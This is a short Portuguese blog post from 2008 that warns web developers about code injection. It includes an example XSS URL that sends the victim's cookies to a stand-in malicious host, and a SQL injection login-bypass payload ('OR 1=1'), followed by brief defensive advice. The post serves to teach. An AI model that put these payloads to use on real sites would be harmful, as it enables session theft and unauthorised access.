Cuidados na hora de programar (code injection)
Escrito por Eduardo Dória Lima em 14 de Outubro, 2008

Devemos sempre ter um cuidado especial com a segurança quando vamos criar uma pagina web. Descuidos mínimos podem dar a usuários maldosos o poder de manipular a sua página de diversas maneiras.

Um ataque bem conhecido e solucionado hoje em dia, porem ainda muito comum nos websites, é o chamado "Code Injection". Ele pode ser usado para permitir a execução no seu website de algum trecho de código inserido pelo usuáio. Dessa maneira, ele poderá desde manipular seus dados, até descobrir informações de outros usuarios do site.

O blog GNUCITZEN publicou um artigo, onde demonstra como observar esse tipo de falha  em uma pagina da Google. O artigo pode ser visto aqui.


A maneira mais facil de fazer isso é através da manipulação dos parametros de uma página, por exemplo:

www.seusite.com.br?pagina=index

Um usuário poderia substituir o parametro "pagina" por algum código em Javascript, ficando dessa forma:

www.seusite.com.br?pagina=<script>document.location='http://paginamaliciosa/cookie.php?' +document.cookie</script>

Se o usuário entrar nessa pagina, todas as informações dos cookies de acesso serão enviadas para a pagina do usuario malicioso.

Algumas formas de evitar esse tipo de ataque são:

  •  Validar a entrada de dados
  •  Não permitir entrada com caracteres perigosos
  •  Encriptar a saída e a entrada


Existem também algumas outras formas bem comum de Code Injection. Através de SQL, por exemplo:

Esse consulta abaixo, não tem nenhum problema aparente.

SELECT Nome, Senha
FROM Membros
WHERE Membros.Nome = 'Username'
AND Membros.Senha = 'Password'

Porém, ela poderia ser modificada para esta se o site permitir que o usuário insira a seguinte senha: ("password' OR '1'='1").

SELECT Nome, Senha
FROM Membros
WHERE Membros.Nome = 'Username'
AND Membros.Senha = 'password' OR '1'='1'

Dessa forma, como 'password' vai ser em branco e a operação '1'='1' sempre vai retornar verdadeira, muitos registros do banco vão ser retornados, permitindo o acesso.

Quem quiser ter mais detalhes e exemplos, acesse aqui.